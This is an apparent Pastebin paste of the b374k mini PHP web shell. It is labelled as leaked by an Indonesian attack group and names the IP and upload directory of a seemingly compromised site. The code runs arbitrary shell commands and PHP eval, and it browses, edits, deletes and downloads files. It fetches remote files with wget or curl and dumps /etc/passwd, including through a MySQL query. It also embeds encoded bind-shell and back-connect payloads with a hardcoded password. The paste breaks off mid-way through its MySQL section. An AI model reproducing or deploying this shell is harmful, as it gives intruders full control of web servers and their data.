Guest User

leakead-hilux.php.1

a guest
May 10th, 2017
529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.14 KB | None | 0 0
  1. Leaked by : PELITABANGSA .CA
  2. [ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
  3. IP 160.153.16.8
  4. Dir : /home/travelmasters/public_html/kcfinder/upload/files
  5.  
  6. <?php
  7. @error_reporting(0);
  8. @set_time_limit(0);
  9.  
  10.  
  11.  
  12. // php setting
  13. // download file
  14. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  15. $file = $_GET['dl'];
  16. $filez = @file_get_contents($file);
  17. header("Content-type: application/octet-stream");
  18. header("Content-length: ".strlen($filez));
  19. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  20. echo $filez;
  21. exit;
  22. }
  23. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  24. $file = $_GET['dlgzip'];
  25. $filez = gzencode(@file_get_contents($file));
  26. header("Content-Type:application/x-gzip\n");
  27. header("Content-length: ".strlen($filez));
  28. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  29. echo $filez;
  30. exit;
  31. }
  32. // view image
  33. if(isset($_GET['img'])){
  34. @ob_clean();
  35. $d = magicboom($_GET['y']);
  36. $f = $_GET['img'];
  37. $inf = @getimagesize($d.$f);
  38. $ext = explode($f,".");
  39. $ext = $ext[count($ext)-1];
  40. @header("Content-type: ".$inf["mime"]);
  41. @header("Cache-control: public");
  42. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  43. @header("Cache-control: max-age=".(60*60*24*7));
  44. @readfile($d.$f);
  45. exit;
  46. }
  47.  
  48. // server software
  49. $software = getenv("SERVER_SOFTWARE");
  50. // check safemode
  51. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
  52. // uname -a
  53. $system = @php_uname();
  54. // check os
  55. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  56. else $win = FALSE;
  57. // change directory
  58. if(isset($_GET['y'])){
  59. if(@is_dir($_GET['view'])){
  60. $pwd = $_GET['view'];
  61. @chdir($pwd);
  62. }
  63. else{
  64. $pwd = $_GET['y'];
  65. @chdir($pwd);
  66. }
  67. }
  68. // username, id, shell prompt and working directory
  69. if(!$win){
  70. if(!$user = rapih(exe("whoami"))) $user = "";
  71. if(!$id = rapih(exe("id"))) $id = "";
  72. $prompt = $user." \$ ";
  73. $pwd = @getcwd().DIRECTORY_SEPARATOR;
  74. }
  75. else {
  76. $user = @get_current_user();
  77. $id = $user;
  78. $prompt = $user." &gt;";
  79. $pwd = realpath(".")."\\";
  80. // find drive letters
  81. $v = explode("\\",$d);
  82. $v = $v[0];
  83. foreach (range("A","Z") as $letter)
  84. {
  85. $bool = @is_dir($letter.":\\");
  86. if ($bool)
  87. {
  88. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  89. if ($letter.":" != $v) {$letters .= $letter;}
  90. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  91. $letters .= " ]</a> ";
  92. }
  93. }
  94. }
  95. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  96. else $posix = FALSE;
  97. // server ip
  98. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  99. // your ip ;-)
  100. $my_ip = $_SERVER['REMOTE_ADDR'];
  101. $bindport = "13123";
  102. $bindport_pass = "b374k";
  103.  
  104. // separate the working direcotory
  105. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  106. $pwdurl = "";
  107. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
  108. $pathz = "";
  109. for($j = 0 ; $j <= $i ; $j++){
  110. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  111. }
  112. $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  113. }
  114.  
  115. // rename file or folder
  116. if(isset($_POST['rename'])){
  117. $old = $_POST['oldname'];
  118. $new = $_POST['newname'];
  119. @rename($pwd.$old,$pwd.$new);
  120. $file = $pwd.$new;
  121. }
  122.  
  123.  
  124.  
  125. // print useful info
  126. $buff = $software."<br />";
  127. $buff .= $system."<br />";
  128. if($id != "") $buff .= $id."<br />";
  129. $buff .= "server ip : ".$server_ip." <span class=\"gaya\">|</span> your ip : ".$my_ip."<br />";
  130. if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
  131. else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
  132. $buff .= $letters."&nbsp;&gt;&nbsp;".$pwdurl;
  133.  
  134.  
  135.  
  136.  
  137. function rapih($text){
  138. return trim(str_replace("<br />","",$text));
  139. }
  140.  
  141. function magicboom($text){
  142. if (!get_magic_quotes_gpc()) {
  143. return $text;
  144. }
  145. return stripslashes($text);
  146. }
  147.  
  148. function showdir($pwd,$prompt){
  149. $fname = array();
  150. $dname = array();
  151. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  152. else $posix = FALSE;
  153. $user = "????:????";
  154. if($dh = @scandir($pwd)){
  155. foreach($dh as $file){
  156. if(is_dir($file)){
  157. $dname[] = $file;
  158. }
  159. elseif(is_file($file)){
  160. $fname[] = $file;
  161. }
  162. }
  163. }
  164. else{
  165. if($dh = @opendir($pwd)){
  166. while($file = @readdir($dh)){
  167. if(@is_dir($file)){
  168. $dname[] = $file;
  169. }
  170. elseif(@is_file($file)){
  171. $fname[] = $file;
  172. }
  173. }
  174. @closedir($dh);
  175. }
  176. }
  177.  
  178.  
  179. sort($fname);
  180. sort($dname);
  181. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  182. $tree = @sizeof($path);
  183. $parent = "";
  184. $buff = "
  185. <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  186. <table class=\"cmdbox\" style=\"width:50%;\">
  187. <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  188. </form>
  189. <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
  190. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  191. <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  192. </form></table><table class=\"explore\">
  193. <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
  194. ";
  195. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  196. else $parent = $pwd;
  197. foreach($dname as $folder){
  198. if($folder == ".") {
  199. if(!$win && $posix){
  200. $name=@posix_getpwuid(@fileowner($folder));
  201. $group=@posix_getgrgid(@filegroup($folder));
  202. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  203. }
  204. else {
  205. $owner = $user;
  206. }
  207. $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  208. <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  209. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  210. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  211. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  212. </form></td></tr>
  213. ";
  214. }
  215. elseif($folder == "..") {
  216. if(!$win && $posix){
  217. $name=@posix_getpwuid(@fileowner($folder));
  218. $group=@posix_getgrgid(@filegroup($folder));
  219. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  220. }
  221. else {
  222. $owner = $user;
  223. }
  224. $buff .= "<tr><td><a href=\"?y=".$parent."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  225. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  226. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  227. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  228. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  229. </form>
  230. </td></tr>";
  231. }
  232. else {
  233. if(!$win && $posix){
  234. $name=@posix_getpwuid(@fileowner($folder));
  235. $group=@posix_getgrgid(@filegroup($folder));
  236. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  237. }
  238. else {
  239. $owner = $user;
  240. }
  241. $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
  242. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  243. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  244. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  245. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  246. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  247. </form>
  248. <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
  249. }
  250. }
  251.  
  252. foreach($fname as $file){
  253. $full = $pwd.$file;
  254. if(!$win && $posix){
  255. $name=@posix_getpwuid(@fileowner($folder));
  256. $group=@posix_getgrgid(@filegroup($folder));
  257. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  258. }
  259. else {
  260. $owner = $user;
  261. }
  262. $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\">$file</a>
  263. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  264. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  265. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  266. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  267. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  268. </form>
  269. </td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  270. <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  271. }
  272. $buff .= "</table>";
  273. return $buff;
  274. }
  275.  
  276. function ukuran($file){
  277. if($size = @filesize($file)){
  278. if($size <= 1024) return $size;
  279. else{
  280. if($size <= 1024*1024) {
  281. $size = @round($size / 1024,2);;
  282. return "$size kb";
  283. }
  284. else {
  285. $size = @round($size / 1024 / 1024,2);
  286. return "$size mb";
  287. }
  288. }
  289. }
  290. else return "???";
  291. }
  292.  
  293. function exe($cmd){
  294. if(function_exists('system')) {
  295. @ob_start();
  296. @system($cmd);
  297. $buff = @ob_get_contents();
  298. @ob_end_clean();
  299. return $buff;
  300. }
  301. elseif(function_exists('exec')) {
  302. @exec($cmd,$results);
  303. $buff = "";
  304. foreach($results as $result){
  305. $buff .= $result;
  306. }
  307. return $buff;
  308. }
  309. elseif(function_exists('passthru')) {
  310. @ob_start();
  311. @passthru($cmd);
  312. $buff = @ob_get_contents();
  313. @ob_end_clean();
  314. return $buff;
  315. }
  316. elseif(function_exists('shell_exec')){
  317. $buff = @shell_exec($cmd);
  318. return $buff;
  319. }
  320. }
  321.  
  322. function tulis($file,$text){
  323. $textz = gzinflate(base64_decode($text));
  324. if($filez = @fopen($file,"w"))
  325. {
  326. @fputs($filez,$textz);
  327. @fclose($file);
  328. }
  329. }
  330.  
  331. function ambil($link,$file) {
  332. if($fp = @fopen($link,"r")){
  333. while(!feof($fp)) {
  334. $cont.= @fread($fp,1024);
  335. }
  336. @fclose($fp);
  337. $fp2 = @fopen($file,"w");
  338. @fwrite($fp2,$cont);
  339. @fclose($fp2);
  340. }
  341. }
  342.  
  343. function which($pr){
  344. $path = exe("which $pr");
  345. if(!empty($path)) { return trim($path); } else { return trim($pr); }
  346. }
  347.  
  348. function download($cmd,$url){
  349. $namafile = basename($url);
  350. switch($cmd) {
  351. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
  352. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
  353. case 'wfread' : ambil($wurl,$namafile);break;
  354. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  355. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  356. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  357. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  358. default: break;
  359. }
  360. return $namafile;
  361. }
  362.  
  363. function get_perms($file)
  364. {
  365. if($mode=@fileperms($file)){
  366. $perms='';
  367. $perms .= ($mode & 00400) ? 'r' : '-';
  368. $perms .= ($mode & 00200) ? 'w' : '-';
  369. $perms .= ($mode & 00100) ? 'x' : '-';
  370. $perms .= ($mode & 00040) ? 'r' : '-';
  371. $perms .= ($mode & 00020) ? 'w' : '-';
  372. $perms .= ($mode & 00010) ? 'x' : '-';
  373. $perms .= ($mode & 00004) ? 'r' : '-';
  374. $perms .= ($mode & 00002) ? 'w' : '-';
  375. $perms .= ($mode & 00001) ? 'x' : '-';
  376. return $perms;
  377. }
  378. else return "??????????";
  379. }
  380.  
  381. function clearspace($text){
  382. return str_replace(" ","_",$text);
  383. }
  384.  
  385. // net tools
  386. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
  387. +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
  388. P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
  389. dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
  390. 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
  391. Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
  392. HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
  393. tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
  394. ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
  395. uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  396. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
  397. NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
  398. tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
  399. e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
  400. LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
  401. vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
  402. +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  403. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
  404. ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
  405. S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
  406. ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
  407. Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
  408. $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
  409. BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
  410. zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
  411. i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
  412. RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
  413. jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
  414. 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  415. ?>
  416. <html><head><title>:: b374k m1n1 1.01 ::</title>
  417. <script type="text/javascript">
  418. function tukar(lama,baru){
  419. document.getElementById(lama).style.display = 'none';
  420. document.getElementById(baru).style.display = 'block';
  421. }
  422. </script>
  423. <style type="text/css">
  424. body{
  425. background:#000000;;
  426. }
  427. a {
  428. text-decoration:none;
  429. }
  430. a:hover{
  431. border-bottom:1px solid #4C83AF;
  432. }
  433. *{
  434. font-size:11px;
  435. font-family:Tahoma,Verdana,Arial;
  436. color:#FFFFFF;
  437. }
  438. #menu{
  439. background:#111111;
  440. margin:8px 2px 4px 2px;
  441. }
  442. #menu a{
  443. padding:4px 18px;
  444. margin:0;
  445. background:#222222;
  446. text-decoration:none;
  447. letter-spacing:2px;
  448. }
  449. #menu a:hover{
  450. background:#191919;
  451. border-bottom:1px solid #333333;
  452. border-top:1px solid #333333;
  453. }
  454. .tabnet{
  455. margin:15px auto 0 auto;
  456. border: 1px solid #333333;
  457. }
  458. .main {
  459. width:100%;
  460. }
  461. .gaya {
  462. color: #4C83AF;
  463. }
  464. .inputz{
  465. background:#111111;
  466. border:0;
  467. padding:2px;
  468. border-bottom:1px solid #222222;
  469. border-top:1px solid #222222;
  470. }
  471. .inputzbut{
  472. background:#111111;
  473. color:#4C83AF;
  474. margin:0 4px;
  475. border:1px solid #444444;
  476.  
  477. }
  478. .inputz:hover, .inputzbut:hover{
  479. border-bottom:1px solid #4C83AF;
  480. border-top:1px solid #4C83AF;
  481. }
  482. .output {
  483. margin:auto;
  484. border:1px solid #4C83AF;
  485. width:100%;
  486. height:400px;
  487. background:#000000;
  488. padding:0 2px;
  489. }
  490. .cmdbox{
  491. width:100%;
  492. }
  493. .head_info{
  494. padding: 0 4px;
  495. }
  496. .b374k{
  497. font-size:30px;
  498. padding:0;
  499. color:#444444;
  500. }
  501. .b374k1{
  502. font-size:30px;
  503. padding:0;
  504. color: #333333;
  505. }
  506. .b374k_tbl{
  507. text-align:center;
  508. margin:0 4px 0 0;
  509. padding:0 4px 0 0;
  510. border-right:1px solid #333333;
  511. }
  512. .phpinfo table{
  513. width:100%;
  514. padding:0 0 0 0;
  515. }
  516. .phpinfo td{
  517. background:#111111;
  518. color:#cccccc;
  519. padding:6px 8px;;
  520. }
  521. .phpinfo th, th{
  522. background:#191919;
  523. border-bottom:1px solid #333333;
  524. font-weight:normal;
  525. }
  526. .phpinfo h2, .phpinfo h2 a{
  527. text-align:center;
  528. font-size:16px;
  529. padding:0;
  530. margin:30px 0 0 0;
  531. background:#222222;
  532. padding:4px 0;
  533. }
  534. .explore{
  535. width:100%;
  536. }
  537. .explore a {
  538. text-decoration:none;
  539. }
  540. .explore td{
  541. border-bottom:1px solid #333333;
  542. padding:0 8px;
  543. line-height:24px;
  544. }
  545. .explore th{
  546. padding:3px 8px;
  547. font-weight:normal;
  548. }
  549. .explore th:hover , .phpinfo th:hover{
  550. border-bottom:1px solid #4C83AF;
  551. }
  552. .explore tr:hover{
  553. background:#111111;
  554. }
  555. .viewfile{
  556. background:#EDECEB;
  557. color:#000000;
  558. margin:4px 2px;
  559. padding:8px;
  560. }
  561. .sembunyi{
  562. display:none;
  563. padding:0;margin:0;
  564. }
  565.  
  566. </style>
  567. </head>
  568. <body onLoad="document.getElementById('cmd').focus();">
  569. <div class="main">
  570. <!-- head info start here -->
  571. <div class="head_info">
  572. <table><tr>
  573. <td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">b<span class="b374k1">374</span>k</span></a></td></tr><tr><td>m1n1 1.01</td></tr></table></td>
  574. <td><?php echo $buff; ?></td>
  575. </tr></table>
  576. </div>
  577. <!-- head info end here -->
  578. <!-- menu start -->
  579. <div id="menu">
  580. <a href="?<?php echo "y=".$pwd; ?>">explore</a>
  581. <a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">shell</a>
  582. <a href="?<?php echo "y=".$pwd; ?>&amp;x=php">eval</a>
  583. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">mysql</a>
  584. <a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">phpinfo</a>
  585. <a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">netsploit</a>
  586. <a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">upload</a>
  587. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mail">mail</a>
  588. </div>
  589. <!-- menu end -->
  590.  
  591. <?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
  592. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  593. <table class="cmdbox">
  594. <tr><td>
  595. <textarea class="output" name="cmd" id="cmd">
  596. <?php
  597. if(isset($_POST['submitcmd'])) {
  598. echo eval(magicboom($_POST['cmd']));
  599. }
  600. else echo "echo file_get_contents('/etc/passwd');";
  601. ?>
  602. </textarea>
  603. <tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
  604. </table>
  605. </form>
  606.  
  607. <?php }
  608. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
  609. if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
  610. $sqlhost = $_GET['sqlhost'];
  611. $sqluser = $_GET['sqluser'];
  612. $sqlpass = $_GET['sqlpass'];
  613. $sqlport = $_GET['sqlport'];
  614. if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
  615. // show mysql info
  616. $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
  617. $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
  618. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>";
  619. if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
  620. if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
  621. $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
  622. $msg .= "</div>";
  623. echo $msg;
  624. if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
  625. $db = $_GET['db'];
  626. $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
  627. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  628. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  629. <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  630. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  631. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  632. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  633. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  634. <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  635. <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
  636. <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  637. </form></div>
  638. ";
  639.  
  640.  
  641. // show available tables
  642. $tables = array();
  643. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
  644. $hasil = @mysql_list_tables($db,$con);
  645. while(list($table) = @mysql_fetch_row($hasil)){
  646. @array_push($tables,$table);
  647. }
  648. @sort($tables);
  649. foreach($tables as $table){
  650. $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>";
  651. }
  652. $msg .= "</table>";
  653. }
  654. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
  655. // dump tables
  656. $db = $_GET['db'];
  657. $table = $_GET['table'];
  658. $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
  659. $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  660. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  661. <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  662. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  663. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  664. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  665. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  666. <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  667. <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
